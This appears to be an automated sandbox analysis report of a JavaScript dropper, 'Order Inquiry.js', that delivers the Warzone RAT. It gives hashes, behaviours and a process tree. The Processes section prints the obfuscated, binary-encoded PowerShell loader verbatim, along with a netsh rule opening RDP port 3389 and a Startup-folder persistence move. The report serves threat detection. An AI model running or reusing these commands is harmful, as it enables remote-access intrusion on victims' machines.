Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
05-12-2022 06:55
Static task
static1
Behavioral task
behavioral1
Sample
Order Inquiry.js
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
Order Inquiry.js
Resource
win10v2004-20220812-en
General
-
Target
Order Inquiry.js
-
Size
1KB
-
MD5
f384eeb88cfc352b593f2ad0327fc8e5
-
SHA1
e6aefd80a85dde5d4d55189a2f1136d452b64a37
-
SHA256
1e1d7df8408886f486df3e57ee5b292d98329d351f9ddbe17b013a2aa37a5afd
-
SHA512
389847737982847e472f17fb6333f5559e39c63640eee1faa1922de73ac2f4c08e4b0afb94a417688194dc4451855df729a572059048a246eb8aabd4db0a1090
Malware Config
Signatures
-
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
-
Warzone RAT payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/1612-80-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral1/memory/1612-81-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral1/memory/1612-83-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral1/memory/1612-85-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral1/memory/1612-86-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral1/memory/1612-87-0x000000000040B556-mapping.dmp warzonerat behavioral1/memory/1612-92-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral1/memory/1612-93-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 12 1556 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
30.exepid process 288 30.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
InstallUtil.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" InstallUtil.exe -
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\30.exe upx C:\Users\Admin\AppData\Local\Temp\30.exe upx behavioral1/memory/288-101-0x0000000001210000-0x000000000123D000-memory.dmp upx behavioral1/memory/288-105-0x0000000001210000-0x000000000123D000-memory.dmp upx -
Loads dropped DLL 4 IoCs
Processes:
powershell.exeInstallUtil.exepid process 1556 powershell.exe 1556 powershell.exe 1612 InstallUtil.exe 1560 -
Drops file in System32 directory 1 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Windows\System32\rfxvmt.dll InstallUtil.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1556 set thread context of 1612 1556 powershell.exe InstallUtil.exe -
Drops file in Program Files directory 2 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Program Files\Microsoft DN1\sqlmap.dll InstallUtil.exe File created C:\Program Files\Microsoft DN1\rdpwrap.ini InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
iexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{35CE7CE1-7472-11ED-9843-7ADD0904B6AC} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376991920" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b0261b157f08d901 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b13718df9272214d9ae5cc25c89b5e7100000000020000000000106600000001000020000000a052183071ed53a6e56f19f954a8301a82c542660dc863168463fa2d2000b82f000000000e80000000020000200000006cae2191297ae55dd05b1315fc43903ae1e76782b0c487e243217f6cc122954220000000cfb5ab791d78f0d693b6b439fec2d877cb038fcc83c298a51ab04387d24db48c4000000092a3ddaade8a6d9b85a65a55eada0cce14a7d915b541e625edfe71e842ddfca64a873f41f39833005760d21f9a5d931d08469f7d51e9a69611240daef34d6a68 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b13718df9272214d9ae5cc25c89b5e7100000000020000000000106600000001000020000000986937254dc23608d74acdcb9379f28339ef95dc932347fd43ca977faecbc15e000000000e8000000002000020000000813abceb8955c4f53a208b179ca209d19d47005d1fe8b3859e19a214f5723ead900000000dc9382b5bb46b98c216b0e3f92db6cfe35ca50b790483cff2f355b0f7c37e6c710bed1d65bc8461dc26985e6ed3891dd25f2273d449a7bd1c379405cea73530df1117d18d95eb1a3061cf574488e443df5222c67d77a0e8ee0a73ab9bde40b3928c5f0cebdd003a539e5e5a43c89d222c988cc36bab4efd4ec0e83791dc7ec0af56e3383259230d603eba89e431e74540000000190e5b47bfab02db23f71d3f839f5d1ab38a632b732032e7a742fb9f23ba37f47a38aacdd82cb8e654f985db36f4f58075860e3341d415228905fd82840c378e iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 956 powershell.exe 1556 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 1560 1560 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
powershell.exepid process 956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
powershell.exepowershell.exeInstallUtil.exedescription pid process Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeIncreaseQuotaPrivilege 1556 powershell.exe Token: SeSecurityPrivilege 1556 powershell.exe Token: SeTakeOwnershipPrivilege 1556 powershell.exe Token: SeLoadDriverPrivilege 1556 powershell.exe Token: SeSystemProfilePrivilege 1556 powershell.exe Token: SeSystemtimePrivilege 1556 powershell.exe Token: SeProfSingleProcessPrivilege 1556 powershell.exe Token: SeIncBasePriorityPrivilege 1556 powershell.exe Token: SeCreatePagefilePrivilege 1556 powershell.exe Token: SeBackupPrivilege 1556 powershell.exe Token: SeRestorePrivilege 1556 powershell.exe Token: SeShutdownPrivilege 1556 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeSystemEnvironmentPrivilege 1556 powershell.exe Token: SeRemoteShutdownPrivilege 1556 powershell.exe Token: SeUndockPrivilege 1556 powershell.exe Token: SeManageVolumePrivilege 1556 powershell.exe Token: 33 1556 powershell.exe Token: 34 1556 powershell.exe Token: 35 1556 powershell.exe Token: SeDebugPrivilege 1612 InstallUtil.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
iexplore.exepid process 108 iexplore.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
iexplore.exeIEXPLORE.EXEInstallUtil.exepid process 108 iexplore.exe 108 iexplore.exe 1588 IEXPLORE.EXE 1588 IEXPLORE.EXE 1612 InstallUtil.exe -
Suspicious use of WriteProcessMemory 33 IoCs
Processes:
iexplore.exewscript.exepowershell.exeInstallUtil.exe30.exedescription pid process target process PID 108 wrote to memory of 1588 108 iexplore.exe IEXPLORE.EXE PID 108 wrote to memory of 1588 108 iexplore.exe IEXPLORE.EXE PID 108 wrote to memory of 1588 108 iexplore.exe IEXPLORE.EXE PID 108 wrote to memory of 1588 108 iexplore.exe IEXPLORE.EXE PID 1380 wrote to memory of 1556 1380 wscript.exe powershell.exe PID 1380 wrote to memory of 1556 1380 wscript.exe powershell.exe PID 1380 wrote to memory of 1556 1380 wscript.exe powershell.exe PID 1380 wrote to memory of 956 1380 wscript.exe powershell.exe PID 1380 wrote to memory of 956 1380 wscript.exe powershell.exe PID 1380 wrote to memory of 956 1380 wscript.exe powershell.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1556 wrote to memory of 1612 1556 powershell.exe InstallUtil.exe PID 1612 wrote to memory of 288 1612 InstallUtil.exe 30.exe PID 1612 wrote to memory of 288 1612 InstallUtil.exe 30.exe PID 1612 wrote to memory of 288 1612 InstallUtil.exe 30.exe PID 1612 wrote to memory of 288 1612 InstallUtil.exe 30.exe PID 288 wrote to memory of 2028 288 30.exe netsh.exe PID 288 wrote to memory of 2028 288 30.exe netsh.exe PID 288 wrote to memory of 2028 288 30.exe netsh.exe PID 288 wrote to memory of 2028 288 30.exe netsh.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Order Inquiry.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51155111,51151111,51115111,51115551,51151115,51155511,51151111,55151115,51155511,51151111,51151151,55151111,51151511,51155551,51115511,55151111,51151555,51115555,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Sets DLL path for service in the registry
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\30.exe"C:\Users\Admin\AppData\Local\Temp\30.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="3389" dir=in action=allow protocol=TCP localport=33895⤵
- Modifies Windows Firewall
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\Order Inquiry.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:108 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\30.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\FZF73CTJ.txtFilesize
601B
MD529c2937bdc8ab272b6e01566bd4ad2d3
SHA1e0fc432bcf170985f3ee88e56fd68b78f2070fd2
SHA256386ae2b1fc8094b8b756d84cdf969b2dec94ebbefdbff38403e020aac80c5e1e
SHA512ee55b24a2f079a7accdb6011c2962e24a4869abf2927106a76b55b73f7f0f359709adeafb1c47a92fa318f1ac6ad5c14fbd02fa2b79c51bcf295f6d4d9dbf0da
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD55a9ba9ab025fabb6b1b3f1d7855b5cf2
SHA119b69af42dc257a5615aec91c38fc5a3dde07c58
SHA2561415130f91f2147b3b8ac572b287e867149260237e70b16101de77fb8ef083ff
SHA5129d52b88b76793e3bbcb244391d52335ccc43d18f50076ec40eb374eb5a19fbb349f737fd2714f7ee8a058eec5eee6b352297f223b572a419e8d4c4b465fff1f4
-
\Program Files\Microsoft DN1\sqlmap.dllFilesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
\Users\Admin\AppData\Local\Temp\11d5600c-2bda-4d22-b1dc-d8a970181a72\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
\Users\Admin\AppData\Local\Temp\30.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
\Users\Admin\AppData\Local\Temp\784b3b15-2b8e-42df-b11e-ec70bb6ec5f0\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
memory/288-97-0x0000000000000000-mapping.dmp
-
memory/288-101-0x0000000001210000-0x000000000123D000-memory.dmpFilesize
180KB
-
memory/288-105-0x0000000001210000-0x000000000123D000-memory.dmpFilesize
180KB
-
memory/956-62-0x000007FEF3560000-0x000007FEF3F83000-memory.dmpFilesize
10.1MB
-
memory/956-69-0x00000000024FB000-0x000000000251A000-memory.dmpFilesize
124KB
-
memory/956-68-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
-
memory/956-67-0x000000001B760000-0x000000001BA5F000-memory.dmpFilesize
3.0MB
-
memory/956-58-0x0000000000000000-mapping.dmp
-
memory/956-63-0x000007FEF2A00000-0x000007FEF355D000-memory.dmpFilesize
11.4MB
-
memory/956-66-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
-
memory/1380-54-0x0000000001B50000-0x0000000001B60000-memory.dmpFilesize
64KB
-
memory/1380-55-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmpFilesize
8KB
-
memory/1556-71-0x00000000025A4000-0x00000000025A7000-memory.dmpFilesize
12KB
-
memory/1556-65-0x00000000025A4000-0x00000000025A7000-memory.dmpFilesize
12KB
-
memory/1556-90-0x00000000025A4000-0x00000000025A7000-memory.dmpFilesize
12KB
-
memory/1556-60-0x000007FEF3560000-0x000007FEF3F83000-memory.dmpFilesize
10.1MB
-
memory/1556-64-0x000007FEF2A00000-0x000007FEF355D000-memory.dmpFilesize
11.4MB
-
memory/1556-56-0x0000000000000000-mapping.dmp
-
memory/1556-70-0x00000000025AB000-0x00000000025CA000-memory.dmpFilesize
124KB
-
memory/1556-91-0x00000000025AB000-0x00000000025CA000-memory.dmpFilesize
124KB
-
memory/1612-78-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-85-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-87-0x000000000040B556-mapping.dmp
-
memory/1612-92-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-93-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-86-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-95-0x00000000053B0000-0x00000000054B0000-memory.dmpFilesize
1024KB
-
memory/1612-89-0x00000000750A1000-0x00000000750A3000-memory.dmpFilesize
8KB
-
memory/1612-83-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-81-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-75-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-100-0x0000000004E70000-0x0000000004E9D000-memory.dmpFilesize
180KB
-
memory/1612-80-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-76-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/1612-104-0x0000000004E70000-0x0000000004E9D000-memory.dmpFilesize
180KB
-
memory/2028-99-0x0000000000000000-mapping.dmp